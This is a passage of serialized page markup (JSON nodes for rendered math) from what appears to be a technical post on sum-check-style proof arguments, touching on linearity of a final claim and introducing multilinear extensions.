":83,"props":110766,"children":110768},{"className":110767},[3779],[110769],{"type":24,"tag":83,"props":110770,"children":110772},{"className":110771,"style":92843},[3784],[110773],{"type":24,"tag":83,"props":110774,"children":110775},{},[],{"type":24,"tag":83,"props":110777,"children":110779},{"className":110778},[21479],[110780],{"type":29,"value":2872},{"type":24,"tag":83,"props":110782,"children":110784},{"className":110783,"style":3931},[3833],[],{"type":24,"tag":83,"props":110786,"children":110788},{"className":110787},[3936],[110789],{"type":29,"value":1275},{"type":24,"tag":83,"props":110791,"children":110793},{"className":110792,"style":3931},[3833],[],{"type":24,"tag":83,"props":110795,"children":110797},{"className":110796},[3742],[110798,110802,110807,110811,110816],{"type":24,"tag":83,"props":110799,"children":110801},{"className":110800,"style":109735},[3747],[],{"type":24,"tag":83,"props":110803,"children":110805},{"className":110804},[3753,21328],[110806],{"type":29,"value":2033},{"type":24,"tag":83,"props":110808,"children":110810},{"className":110809,"style":3834},[3833],[],{"type":24,"tag":83,"props":110812,"children":110814},{"className":110813},[3839],[110815],{"type":29,"value":4126},{"type":24,"tag":83,"props":110817,"children":110819},{"className":110818,"style":3834},[3833],[],{"type":24,"tag":83,"props":110821,"children":110823},{"className":110822},[3742],[110824,110828,110833,110837,110843],{"type":24,"tag":83,"props":110825,"children":110827},{"className":110826,"style":92675},[3747],[],{"type":24,"tag":83,"props":110829,"children":110831},{"className":110830},[3753,21328],[110832],{"type":29,"value":2968},{"type":24,"tag":83,"props":110834,"children":110836},{"className":110835,"style":3834},[3833],[],{"type":24,"tag":83,"props":110838,"children":110840},{"className":110839},[3839],[110841],{"type":29,"value":110842},"⋅",{"type":24,"tag":83,"props":110844,"children":110846},{"className":110845,"style":3834},[3833],[],{"type":24,"tag":83,"props":110848,"children":110850},{"className":110849},[3742],[110851,110855,110912,110916,110921],{"type":24,"tag":83,"props":110852,"children":110854},{"className":110853,"style":109550},[3747],[],{"type":24,"tag":83,"props":110856,"children":110858},{"className":110857},[3753],[110859,110864],{"type":24,"tag":83,"props":110860,"children":110862},{"className":110861,"style":92760},[3753,21328],[110863],{"type":29,"value":93579},{"type":24,"tag":83,"props":110865,"children":110867},{"className":110866},[3769],[110868],{"type":24,"tag":83,"props":110869,"children":110871},{"className":110870},[3774,21382],[110872,110901],{"type":24,"tag":83,"props":110873,"children":110875},{"className":110874},[3779],[110876,110896],{"type":24,"tag":83,"props":110877,"children":110879},{"className":110878,"style":93289},[3784],[110880],{"type":24,"tag":83,"props":110881,"children":110882},{"style":109579},[110883,110887],{"type":24,"tag":83,"props":110884,"children":110886},{"className":110885,"style":3794},[3793],[],{"type":24,"tag":83,"props":110888,"children":110890},{"className":110889},[3799,3800,3801,3802],[110891],{"type":24,"tag":83,"props":110892,"children":110894},{"className":110893},[3753,21328,3802],[110895],{"type":29,"value":3482},{"type":24,"tag":83,"props":110897,"children":110899},{"className":110898},[21485],[110900],{"type":29,"value":21488},{"type":24,"tag":83,"props":110902,"children":110904},{"className":110903},[3779],[110905],{"type":24,"tag":83,"props":110906,"children":110908},{"className":110907,"style":92843},[3784],[110909],{"type":24,"tag":83,"props":110910,"children":110911},{},[],{"type":24,"tag":83,"props":110913,"children":110915},{"className":110914,"style":3931},[3833],[],{"type":24,"tag":83,"props":110917,"children":110919},{"className":110918},[3936],[110920],{"type":29,"value":1275},{"type":24,"tag":83,"props":110922,"children":110924},{"className":110923,"style":3931},[3833],[],{"type":24,"tag":83,"props":110926,"children":110928},{"className":110927},[3742],[110929,110933,110938,110942,110947],{"type":24,"tag":83,"props":110930,"children":110932},{"className":110931,"style":109735},[3747],[],{"type":24,"tag":83,"props":110934,"children":110936},{"className":110935},[3753,21328],[110937],{"type":29,"value":2033},{"type":24,"tag":83,"props":110939,"children":110941},{"className":110940,"style":3834},[3833],[],{"type":24,"tag":83,"props":110943,"children":110945},{"className":110944},[3839],[110946],{"type":29,"value":4126},{"type":24,"tag":83,"props":110948,"children":110950},{"className":110949,"style":3834},[3833],[],{"type":24,"tag":83,"props":110952,"children":110954},{"className":110953},[3742],[110955,110959,110964,111035,111039,111044],{"type":24,"tag":83,"props":110956,"children":110958},{"className":110957,"style":3854},[3747],[],{"type":24,"tag":83,"props":110960,"children":110962},{"className":110961},[21457],[110963],{"type":29,"value":558},{"type":24,"tag":83,"props":110965,"children":110967},{"className":110966},[3753],[110968,110973],{"type":24,"tag":83,"props":110969,"children":110971},{"className":110970,"style":92994},[3753,21328],[110972],{"type":29,"value":92997},{"type":24,"tag":83,"props":110974,"children":110976},{"className":110975},[3769],[110977],{"type":24,"tag":83,"props":110978,"children":110980},{"className":110979},[3774,21382],[110981,111024],{"type":24,"tag":83,"props":110982,"children":110984},{"className":110983},[3779],[110985,111019],{"type":24,"tag":83,"props":110986,"children":110988},{"className":110987,"style":93289},[3784],[110989],{"type":24,"tag":83,"props":110990,"children":110991},{"style":110009},[110992,110996],{"type":24,"tag":83,"props":110993,"children":110995},{"className":110994,"style":3794},[3793],[],{"type":24,"tag":83,"props":110997,"children":110999},{"className":110998},[3799,3800,3801,3802],[111000],{"type":24,"tag":83,"props":111001,"children":111003},{"className":111002},[3753,3802],[111004,111009,111014],{"type":24,"tag":83,"props":111005,"children":111007},{"className":111006},[3753,21328,3802],[111008],{"type":29,"value":3482},{"type":24,"tag":83,"props":111010,"children":111012},{"className":111011},[3839,3802],[111013],{"type":29,"value":3813},{"type":24,"tag":83,"props":111015,"children":111017},{"className":111016},[3753,3802],[111018],{"type":29,"value":3756},{"type":24,"tag":83,"props":111020,"children":111022},{"className":111021},[21485],[111023],{"type":29,"value":21488},{"type":24,"tag":83,"props":111025,"children":111027},{"className":111026},[3779],[111028],{"type":24,"tag":83,"props":111029,"children":111031},{"className":111030,"style":110050},[3784],[111032],{"type":24,"tag":83,"props":111033,"children":111034},{},[],{"type":24,"tag":83,"props":111036,"children":111038},{"className":111037,"style":3834},[3833],[],{"type":24,"tag":83,"props":111040,"children":111042},{"className":111041},[3839],[111043],{"type":29,"value":3813},{"type":24,"tag":83,"props":111045,"children":111047},{"className":111046,"style":3834},[3833],[],{"type":24,"tag":83,"props":111049,"children":111051},{"className":111050},[3742],[111052,111056,111061,111066,111071,111075,111080],{"type":24,"tag":83,"props":111053,"children":111055},{"className":111054,"style":3854},[3747],[],{"type":24,"tag":83,"props":111057,"children":111059},{"className":111058},[3753],[111060],{"type":29,"value":2867},{"type":24,"tag":83,"props":111062,"children":111064},{"className":111063},[3753,21328],[111065],{"type":29,"value":2033},{"type":24,"tag":83,"props":111067,"children":111069},{"className":111068},[21479],[111070],{"type":29,"value":2872},{"type":24,"tag":83,"props":111072,"children":111074},{"className":111073,"style":3834},[3833],[],{"type":24,"tag":83,"props":111076,"children":111078},{"className":111077},[3839],[111079],{"type":29,"value":110842},{"type":24,"tag":83,"props":111081,"children":111083},{"className":111082,"style":3834},[3833],[],{"type":24,"tag":83,"props":111085,"children":111087},{"className":111086},[3742],[111088,111092,111149,111153,111158],{"type":24,"tag":83,"props":111089,"children":111091},{"className":111090,"style":109550},[3747],[],{"type":24,"tag":83,"props":111093,"children":111095},{"className":111094},[3753],[111096,111101],{"type":24,"tag":83,"props":111097,"children":111099},{"className":111098,"style":92760},[3753,21328],[111100],{"type":29,"value":93579},{"type":24,"tag":83,"props":111102,"children":111104},{"className":111103},[3769],[111105],{"type":24,"tag":83,"props":111106,"children":111108},{"className":111107},[3774,21382],[111109,111138],{"type":24,"tag":83,"props":111110,"children":111112},{"className":111111},[3779],[111113,111133],{"type":24,"tag":83,"props":111114,"children":111116},{"className":111115,"style":93289},[3784],[111117],{"type":24,"tag":83,"props":111118,"children":111119},{"style":109579},[111120,111124],{"type":24,"tag":83,"props":111121,"children":111123},{"className":111122,"style":3794},[3793],[],{"type":24,"tag":83,"props":111125,"children":111127},{"className":111126},[3799,3800,3801,3802],[111128],{"type":24,"tag":83,"props":111129,"children":111131},{"className":111130},[3753,21328,3802],[111132],{"type":29,"value":3482},{"type":24,"tag":83,"props":111134,"children":111136},{"className":111135},[21485],[111137],{"type":29,"value":21488},{"type":24,"tag":83,"props":111139,"children":111141},{"className":111140},[3779],[111142],{"type":24,"tag":83,"props":111143,"children":111145},{"className":111144,"style":92843},[3784],[111146],{"type":24,"tag":83,"props":111147,"children":111148},{},[],{"type":24,"tag":83,"props":111150,"children":111152},{"className":111151,"style":3931},[3833],[],{"type":24,"tag":83,"props":111154,"children":111156},{"className":111155},[3936],[111157],{"type":29,"value":1275},{"type":24,"tag":83,"props":111159,"children":111161},{"className":111160,"style":3931},[3833],[],{"type":24,"tag":83,"props":111163,"children":111165},{"className":111164},[3742],[111166,111170,111175,111180,111185,111189,111194],{"type":24,"tag":83,"props":111167,"children":111169},{"className":111168,"style":3854},[3747],[],{"type":24,"tag":83,"props":111171,"children":111173},{"className":111172},[3753,21328],[111174],{"type":29,"value":2033},{"type":24,"tag":83,"props":111176,"children":111178},{"className":111177},[21457],[111179],{"type":29,"value":558},{"type":24,"tag":83,"props":111181,"children":111183},{"className":111182},[3753],[111184],{"type":29,"value":3756},{"type":24,"tag":83,"props":111186,"children":111188},{"className":111187,"style":3834},[3833],[],{"type":24,"tag":83,"props":111190,"children":111192},{"className":111191},[3839],[111193],{"type":29,"value":3813},{"type":24,"tag":83,"props":111195,"children":111197},{"className":111196,"style":3834},[3833],[],{"type":24,"tag":83,"props":111199,"children":111201},{"className":111200},[3742],[111202,111206,111211,111268,111273,111277,111282],{"type":24,"tag":83,"props":111203,"children":111205},{"className":111204,"style":3854},[3747],[],{"type":24,"tag":83,"props":111207,"children":111209},{"className":111208},[3753],[111210],{"type":29,"value":2867},{"type":24,"tag":83,"props":111212,"children":111214},{"className":111213},[3753],[111215,111220],{"type":24,"tag":83,"props":111216,"children":111218},{"className":111217,"style":92760},[3753,21328],[111219],{"type":29,"value":93579},{"type":24,"tag":83,"props":111221,"children":111223},{"className":111222},[3769],[111224],{"type":24,"tag":83,"props":111225,"children":111227},{"className":111226},[3774,21382],[111228,111257],{"type":24,"tag":83,"props":111229,"children":111231},{"className":111230},[3779],[111232,111252],{"type":24,"tag":83,"props":111233,"children":111235},{"className":111234,"style":93289},[3784],[111236],{"type":24,"tag":83,"props":111237,"children":111238},{"style":109579},[111239,111243],{"type":24,"tag":83,"props":111240,"children":111242},{"className":111241,"style":3794},[3793],[],{"type":24,"tag":83,"props":111244,"children":111246},{"className":111245},[3799,3800,3801,3802],[111247],{"type":24,"tag":83,"props":111248,"children":111250},{"className":111249},[3753,21328,3802],[111251],{"type":29,"value":3482},{"type":24,"tag":83,"props":111253,"children":111255},{"className":111254},[21485],[111256],{"type":29,"value":21488},{"type":24,"tag":83,"props":111258,"children":111260},{"className":111259},[3779],[111261],{"type":24,"tag":83,"props":111262,"children":111264},{"className":111263,"style":92843},[3784],[111265],{"type":24,"tag":83,"props":111266,"children":111267},{},[],{"type":24,"tag":83,"props":111269,"children":111271},{"className":111270},[21479],[111272],{"type":29,"value":2872},{"type":24,"tag":83,"props":111274,"children":111276},{"className":111275,"style":3834},[3833],[],{"type":24,"tag":83,"props":111278,"children":111280},{"className":111279},[3839],[111281],{"type":29,"value":4126},{"type":24,"tag":83,"props":111283,"children":111285},{"className":111284,"style":3834},[3833],[],{"type":24,"tag":83,"props":111287,"children":111289},{"className":111288},[3742],[111290,111294,111365,111369,111374],{"type":24,"tag":83,"props":111291,"children":111293},{"className":111292,"style":109980},[3747],[],{"type":24,"tag":83,"props":111295,"children":111297},{"className":111296},[3753],[111298,111303],{"type":24,"tag":83,"props":111299,"children":111301},{"className":111300,"style":92994},[3753,21328],[111302],{"type":29,"value":92997},{"type":24,"tag":83,"props":111304,"children":111306},{"className":111305},[3769],[111307],{"type":24,"tag":83,"props":111308,"children":111310},{"className":111309},[3774,21382],[111311,111354],{"type":24,"tag":83,"props":111312,"children":111314},{"className":111313},[3779],[111315,111349],{"type":24,"tag":83,"props":111316,"children":111318},{"className":111317,"style":93289},[3784],[111319],{"type":24,"tag":83,"props":111320,"children":111321},{"style":110009},[111322,111326],{"type":24,"tag":83,"props":111323,"children":111325},{"className":111324,"style":3794},[3793],[],{"type":24,"tag":83,"props":111327,"children":111329},{"className":111328},[3799,3800,3801,3802],[111330],{"type":24,"tag":83,"props":111331,"children":111333},{"className":111332},[3753,3802],[111334,111339,111344],{"type":24,"tag":83,"props":111335,"children":111337},{"className":111336},[3753,21328,3802],[111338],{"type":29,"value":3482},{"type":24,"tag":83,"props":111340,"children":111342},{"className":111341},[3839,3802],[111343],{"type":29,"value":3813},{"type":24,"tag":83,"props":111345,"children":111347},{"className":111346},[3753,3802],[111348],{"type":29,"value":3756},{"type":24,"tag":83,"props":111350,"children":111352},{"className":111351},[21485],[111353],{"type":29,"value":21488},{"type":24,"tag":83,"props":111355,"children":111357},{"className":111356},[3779],[111358],{"type":24,"tag":83,"props":111359,"children":111361},{"className":111360,"style":110050},[3784],[111362],{"type":24,"tag":83,"props":111363,"children":111364},{},[],{"type":24,"tag":83,"props":111366,"children":111368},{"className":111367,"style":3834},[3833],[],{"type":24,"tag":83,"props":111370,"children":111372},{"className":111371},[3839],[111373],{"type":29,"value":110842},{"type":24,"tag":83,"props":111375,"children":111377},{"className":111376,"style":3834},[3833],[],{"type":24,"tag":83,"props":111379,"children":111381},{"className":111380},[3742],[111382,111386],{"type":24,"tag":83,"props":111383,"children":111385},{"className":111384,"style":109550},[3747],[],{"type":24,"tag":83,"props":111387,"children":111389},{"className":111388},[3753],[111390,111395],{"type":24,"tag":83,"props":111391,"children":111393},{"className":111392,"style":92760},[3753,21328],[111394],{"type":29,"value":93579},{"type":24,"tag":83,"props":111396,"children":111398},{"className":111397},[3769],[111399],{"type":24,"tag":83,"props":111400,"children":111402},{"className":111401},[3774,21382],[111403,111432],{"type":24,"tag":83,"props":111404,"children":111406},{"className":111405},[3779],[111407,111427],{"type":24,"tag":83,"props":111408,"children":111410},{"className":111409,"style":93289},[3784],[111411],{"type":24,"tag":83,"props":111412,"children":111413},{"style":109579},[111414,111418],{"type":24,"tag":83,"props":111415,"children":111417},{"className":111416,"style":3794},[3793],[],{"type":24,"tag":83,"props":111419,"children":111421},{"className":111420},[3799,3800,3801,3802],[111422],{"type":24,"tag":83,"props":111423,"children":111425},{"className":111424},[3753,21328,3802],[111426],{"type":29,"value":3482},{"type":24,"tag":83,"props":111428,"children":111430},{"className":111429},[21485],[111431],{"type":29,"value":21488},{"type":24,"tag":83,"props":111433,"children":111435},{"className":111434},[3779],[111436],{"type":24,"tag":83,"props":111437,"children":111439},{"className":111438,"style":92843},[3784],[111440],{"type":24,"tag":83,"props":111441,"children":111442},{},[],{"type":24,"tag":25,"props":111444,"children":111445},{},[111446,111447,111543,111545,111570,111572,111597],{"type":29,"value":45855},{"type":24,"tag":2040,"props":111448,"children":111449},{},[111450,111452],{"type":29,"value":111451},"linear in ",{"type":24,"tag":32,"props":111453,"children":111455},{"className":111454},[3726,3727],[111456],{"type":24,"tag":83,"props":111457,"children":111459},{"className":111458},[3732],[111460],{"type":24,"tag":83,"props":111461,"children":111463},{"className":111462,"ariaHidden":1237},[3737],[111464],{"type":24,"tag":83,"props":111465,"children":111467},{"className":111466},[3742],[111468,111472],{"type":24,"tag":83,"props":111469,"children":111471},{"className":111470,"style":109980},[3747],[],{"type":24,"tag":83,"props":111473,"children":111475},{"className":111474},[3753],[111476,111481],{"type":24,"tag":83,"props":111477,"children":111479},{"className":111478,"style":92994},[3753,21328],[111480],{"type":29,"value":92997},{"type":24,"tag":83,"props":111482,"children":111484},{"className":111483},[3769],[111485],{"type":24,"tag":83,"props":111486,"children":111488},{"className":111487},[3774,21382],[111489,111532],{"type":24,"tag":83,"props":111490,"children":111492},{"className":111491},[3779],[111493,111527],{"type":24,"tag":83,"props":111494,"children":111496},{"className":111495,"style":93289},[3784],[111497],{"type":24,"tag":83,"props":111498,"children":111499},{"style":110009},[111500,111504],{"type":24,"tag":83,"props":111501,"children":111503},{"className":111502,"style":3794},[3793],[],{"type":24,"tag":83,"props":111505,"children":111507},{"className":111506},[3799,3800,3801,3802],[111508],{"type":24,"tag":83,"props":111509,"children":111511},{"className":111510},[3753,3802],[111512,111517,111522],{"type":24,"tag":83,"props":111513,"children":111515},{"className":111514},[3753,21328,3802],[111516],{"type":29,"value":3482},{"type":24,"tag":83,"props":111518,"children":111520},{"className":111519},[3839,3802],[111521],{"type":29,"value":3813},{"type":24,"tag":83,"props":111523,"children":111525},{"className":111524},[3753,3802],[111526],{"type":29,"value":3756},{"type":24,"tag":83,"props":111528,"children":111530},{"className":111529},[21485],[111531],{"type":29,"value":21488},{"type":24,"tag":83,"props":111533,"children":111535},{"className":111534},[3779],[111536],{"type":24,"tag":83,"props":111537,"children":111539},{"className":111538,"style":110050},[3784],[111540],{"type":24,"tag":83,"props":111541,"children":111542},{},[],{"type":29,"value":111544},"! By induction, the final claim is linear in the original ",{"type":24,"tag":32,"props":111546,"children":111548},{"className":111547},[3726,3727],[111549],{"type":24,"tag":83,"props":111550,"children":111552},{"className":111551},[3732],[111553],{"type":24,"tag":83,"props":111554,"children":111556},{"className":111555,"ariaHidden":1237},[3737],[111557],{"type":24,"tag":83,"props":111558,"children":111560},{"className":111559},[3742],[111561,111565],{"type":24,"tag":83,"props":111562,"children":111564},{"className":111563,"style":21323},[3747],[],{"type":24,"tag":83,"props":111566,"children":111568},{"className":111567,"style":92994},[3753,21328],[111569],{"type":29,"value":92997},{"type":29,"value":111571},". If ",{"type":24,"tag":32,"props":111573,"children":111575},{"className":111574},[3726,3727],[111576],{"type":24,"tag":83,"props":111577,"children":111579},{"className":111578},[3732],[111580],{"type":24,"tag":83,"props":111581,"children":111583},{"className":111582,"ariaHidden":1237},[3737],[111584],{"type":24,"tag":83,"props":111585,"children":111587},{"className":111586},[3742],[111588,111592],{"type":24,"tag":83,"props":111589,"children":111591},{"className":111590,"style":21323},[3747],[],{"type":24,"tag":83,"props":111593,"children":111595},{"className":111594,"style":92994},[3753,21328],[111596],{"type":29,"value":92997},{"type":29,"value":111598}," isn't in the transcript, we can solve for it.",{"type":24,"tag":1818,"props":111600,"children":111602},{"id":111601},"multilinear-extensions-mles",[111603],{"type":29,"value":111604},"Multilinear Extensions (MLEs)",{"type":24,"tag":25,"props":111606,"children":111607},{},[111608,111610,111695],{"type":29,"value":111609},"An MLE is just the polynomial view of a table over ",{"type":24,"tag":32,"props":111611,"children":111613},{"className":111612},[3726,3727],[111614],{"type":24,"tag":83,"props":111615,"children":111617},{"className":111616},[3732],[111618],{"type":24,"tag":83,"props":111619,"children":111621},{"className":111620,"ariaHidden":1237},[3737],[111622],{"type":24,"tag":83,"props":111623,"children":111625},{"className":111624},[3742],[111626,111630,111635,111640,111645,111649,111654],{"type":24,"tag":83,"props":111627,"children":111629},{"className":111628,"style":3854},[3747],[],{"type":24,"tag":83,"props":111631,"children":111633},{"className":111632},[21457],[111634],{"type":29,"value":76333},{"type":24,"tag":83,"props":111636,"children":111638},{"className":111637},[3753],[111639],{"type":29,"value":1166},{"type":24,"tag":83,"props":111641,"children":111643},{"className":111642},[3865],[111644],{"type":29,"value":3868},{"type":24,"tag":83,"props":111646,"children":111648},{"className":111647,"style":3872},[3833],[],{"type":24,"tag":83,"props":111650,"children":111652},{"className":111651},[3753],[111653],{"type":29,"value":3756},{"type":24,"tag":83,"props":111655,"children":111657},{"className":111656},[21479],[111658,111663],{"type":24,"tag":83,"props":111659,"children":111661},{"className":111660},[21479],[111662],{"type":29,"value":33877},{"type":24,"tag":83,"props":111664,"children":111666},{"className":111665},[3769],[111667],{"type":24,"tag":83,"props":111668,"children":111670},{"className":111669},[3774],[111671],{"type":24,"tag":83,"props":111672,"children":111674},{"className":111673},[3779],[111675],{"type":24,"tag":83,"props":111676,"children":111678},{"className":111677,"style":108297},[3784],[111679],{"type":24,"tag":83,"props":111680,"children":111681},{"style":3788},[111682,111686],{"type":24,"tag":83,"props":111683,"children":111685},{"className":111684,"style":3794},[3793],[],{"type":24,"tag":83,"props":111687,"children":111689},{"className":111688},[3799,3800,3801,3802],[111690],{"type":24,"tag":83,"props":111691,"children":111693},{"className":111692},[3753,21328,3802],[111694],{"type":29,"value":56117},{"type":29,"value":111696},": it matches the table on Boolean points and extends it to field points.",{"type":24,"tag":25,"props":111698,"children":111699},{},[111700],{"type":29,"value":111701},"For this post, the only property you need is:",{"type":24,"tag":25,"props":111703,"children":111704},{},[111705],{"type":24,"tag":32,"props":111706,"children":111708},{"className":111707},[3726,3727],[111709],{"type":24,"tag":83,"props":111710,"children":111712},{"className":111711},[3732],[111713],{"type":24,"tag":83,"props":111714,"children":111716},{"className":111715,"ariaHidden":1237},[3737],[111717,111879,112151],{"type":24,"tag":83,"props":111718,"children":111720},{"className":111719},[3742],[111721,111726,111795,111800,111861,111866,111870,111875],{"type":24,"tag":83,"props":111722,"children":111725},{"className":111723,"style":111724},[3747],"height:1.1813em;vertical-align:-0.25em;",[],{"type":24,"tag":83,"props":111727,"children":111730},{"className":111728},[3753,111729],"accent",[111731],{"type":24,"tag":83,"props":111732,"children":111734},{"className":111733},[3774,21382],[111735,111783],{"type":24,"tag":83,"props":111736,"children":111738},{"className":111737},[3779],[111739,111778],{"type":24,"tag":83,"props":111740,"children":111743},{"className":111741,"style":111742},[3784],"height:0.9313em;",[111744,111758],{"type":24,"tag":83,"props":111745,"children":111747},{"style":111746},"top:-3em;",[111748,111753],{"type":24,"tag":83,"props":111749,"children":111752},{"className":111750,"style":111751},[3793],"height:3em;",[],{"type":24,"tag":83,"props":111754,"children":111756},{"className":111755,"style":95114},[3753,21328],[111757],{"type":29,"value":32824},{"type":24,"tag":83,"props":111759,"children":111761},{"style":111760},"top:-3.6134em;",[111762,111766],{"type":24,"tag":83,"props":111763,"children":111765},{"className":111764,"style":111751},[3793],[],{"type":24,"tag":83,"props":111767,"children":111771},{"className":111768,"style":111770},[111769],"accent-body","left:-0.0833em;",[111772],{"type":24,"tag":83,"props":111773,"children":111775},{"className":111774},[3753],[111776],{"type":29,"value":111777},"~",{"type":24,"tag":83,"props":111779,"children":111781},{"className":111780},[21485],[111782],{"type":29,"value":21488},{"type":24,"tag":83,"props":111784,"children":111786},{"className":111785},[3779],[111787],{"type":24,"tag":83,"props":111788,"children":111791},{"className":111789,"style":111790},[3784],"height:0.1944em;",[111792],{"type":24,"tag":83,"props":111793,"children":111794},{},[],{"type":24,"tag":83,"props":111796,"children":111798},{"className":111797},[21457],[111799],{"type":29,"value":558},{"type":24,"tag":83,"props":111801,"children":111803},{"className":111802},[3753,111729],[111804],{"type":24,"tag":83,"props":111805,"children":111807},{"className":111806},[3774],[111808],{"type":24,"tag":83,"props":111809,"children":111811},{"className":111810},[3779],[111812],{"type":24,"tag":83,"props":111813,"children":111816},{"className":111814,"style":111815},[3784],"height:0.714em;",[111817,111829],{"type":24,"tag":83,"props":111818,"children":111819},{"style":111746},[111820,111824],{"type":24,"tag":83,"props":111821,"children":111823},{"className":111822,"style":111751},[3793],[],{"type":24,"tag":83,"props":111825,"children":111827},{"className":111826,"style":92760},[3753,21328],[111828],{"type":29,"value":93579},{"type":24,"tag":83,"props":111830,"children":111831},{"style":111746},[111832,111836],{"type":24,"tag":83,"props":111833,"children":111835},{"className":111834,"style":111751},[3793],[],{"type":24,"tag":83,"props":111837,"children":111840},{"className":111838,"style":111839},[111769],"left:-0.1799em;",[111841],{"type":24,"tag":83,"props":111842,"children":111846},{"className":111843,"style":111845},[111844],"overlay","height:0.714em;width:0.471em;",[111847],{"type":24,"tag":34010,"props":111848,"children":111855},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[111856],{"type":24,"tag":111857,"props":111858,"children":111860},"path",{"d":111859},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":24,"tag":83,"props":111862,"children":111864},{"className":111863},[21479],[111865],{"type":29,"value":2872},{"type":24,"tag":83,"props":111867,"children":111869},{"className":111868,"style":3931},[3833],[],{"type":24,"tag":83,"props":111871,"children":111873},{"className":111872},[3936],[111874],{"type":29,"value":1275},{"type":24,"tag":83,"props":111876,"children":111878},{"className":111877,"style":3931},[3833],[],{"type":24,"tag":83,"props":111880,"children":111882},{"className":111881},[3742],[111883,111888,112069,112073,112078,112083,112133,112138,112142,112147],{"type":24,"tag":83,"props":111884,"children":111887},{"className":111885,"style":111886},[3747],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":24,"tag":83,"props":111889,"children":111891},{"className":111890},[21364],[111892,111897],{"type":24,"tag":83,"props":111893,"children":111895},{"className":111894,"style":21371},[21364,21369,21370],[111896],{"type":29,"value":108375},{"type":24,"tag":83,"props":111898,"children":111900},{"className":111899},[3769],[111901],{"type":24,"tag":83,"props":111902,"children":111904},{"className":111903},[3774,21382],[111905,112057],{"type":24,"tag":83,"props":111906,"children":111908},{"className":111907},[3779],[111909,112052],{"type":24,"tag":83,"props":111910,"children":111913},{"className":111911,"style":111912},[3784],"height:0.3448em;",[111914],{"type":24,"tag":83,"props":111915,"children":111917},{"style":111916},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[111918,111922],{"type":24,"tag":83,"props":111919,"children":111921},{"className":111920,"style":3794},[3793],[],{"type":24,"tag":83,"props":111923,"children":111925},{"className":111924},[3799,3800,3801,3802],[111926],{"type":24,"tag":83,"props":111927,"children":111929},{"className":111928},[3753,3802],[111930,111984,111989,111994,111999,112004,112009],{"type":24,"tag":83,"props":111931,"children":111933},{"className":111932},[3753,111729,3802],[111934],{"type":24,"tag":83,"props":111935,"children":111937},{"className":111936},[3774],[111938],{"type":24,"tag":83,"props":111939,"children":111941},{"className":111940},[3779],[111942],{"type":24,"tag":83,"props":111943,"children":111946},{"className":111944,"style":111945},[3784],"height:0.9774em;",[111947,111961],{"type":24,"tag":83,"props":111948,"children":111950},{"style":111949},"top:-2.714em;",[111951,111956],{"type":24,"tag":83,"props":111952,"children":111955},{"className":111953,"style":111954},[3793],"height:2.714em;",[],{"type":24,"tag":83,"props":111957,"children":111959},{"className":111958},[3753,21328,3802],[111960],{"type":29,"value":2968},{"type":24,"tag":83,"props":111962,"children":111964},{"style":111963},"top:-2.9774em;",[111965,111969],{"type":24,"tag":83,"props":111966,"children":111968},{"className":111967,"style":111954},[3793],[],{"type":24,"tag":83,"props":111970,"children":111973},{"className":111971,"style":111972},[111769],"left:-0.2355em;",[111974],{"type":24,"tag":83,"props":111975,"children":111977},{"className":111976,"style":111845},[111844,3802],[111978],{"type":24,"tag":34010,"props":111979,"children":111980},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[111981],{"type":24,"tag":111857,"props":111982,"children":111983},{"d":111859},[],{"type":24,"tag":83,"props":111985,"children":111987},{"className":111986},[3936,3802],[111988],{"type":29,"value":21435},{"type":24,"tag":83,"props":111990,"children":111992},{"className":111991},[21457,3802],[111993],{"type":29,"value":76333},{"type":24,"tag":83,"props":111995,"children":111997},{"className":111996},[3753,3802],[111998],{"type":29,"value":1166},{"type":24,"tag":83,"props":112000,"children":112002},{"className":112001},[3865,3802],[112003],{"type":29,"value":3868},{"type":24,"tag":83,"props":112005,"children":112007},{"className":112006},[3753,3802],[112008],{"type":29,"value":3756},{"type":24,"tag":83,"props":112010,"children":112012},{"className":112011},[21479,3802],[112013,112018],{"type":24,"tag":83,"props":112014,"children":112016},{"className":112015},[21479,3802],[112017],{"type":29,"value":33877},{"type":24,"tag":83,"props":112019,"children":112021},{"className":112020},[3769],[112022],{"type":24,"tag":83,"props":112023,"children":112025},{"className":112024},[3774],[112026],{"type":24,"tag":83,"props":112027,"children":112029},{"className":112028},[3779],[112030],{"type":24,"tag":83,"props":112031,"children":112034},{"className":112032,"style":112033},[3784],"height:0.5935em;",[112035],{"type":24,"tag":83,"props":112036,"children":112038},{"style":112037},"top:-2.786em;margin-right:0.0714em;",[112039,112043],{"type":24,"tag":83,"props":112040,"children":112042},{"className":112041,"style":108440},[3793],[],{"type":24,"tag":83,"props":112044,"children":112046},{"className":112045},[3799,108445,108446,3802],[112047],{"type":24,"tag":83,"props":112048,"children":112050},{"className":112049},[3753,21328,3802],[112051],{"type":29,"value":56117},{"type":24,"tag":83,"props":112053,"children":112055},{"className":112054},[21485],[112056],{"type":29,"value":21488},{"type":24,"tag":83,"props":112058,"children":112060},{"className":112059},[3779],[112061],{"type":24,"tag":83,"props":112062,"children":112065},{"className":112063,"style":112064},[3784],"height:0.5144em;",[112066],{"type":24,"tag":83,"props":112067,"children":112068},{},[],{"type":24,"tag":83,"props":112070,"children":112072},{"className":112071,"style":3872},[3833],[],{"type":24,"tag":83,"props":112074,"children":112076},{"className":112075,"style":95114},[3753,21328],[112077],{"type":29,"value":32824},{"type":24,"tag":83,"props":112079,"children":112081},{"className":112080},[21457],[112082],{"type":29,"value":558},{"type":24,"tag":83,"props":112084,"children":112086},{"className":112085},[3753,111729],[112087],{"type":24,"tag":83,"props":112088,"children":112090},{"className":112089},[3774],[112091],{"type":24,"tag":83,"props"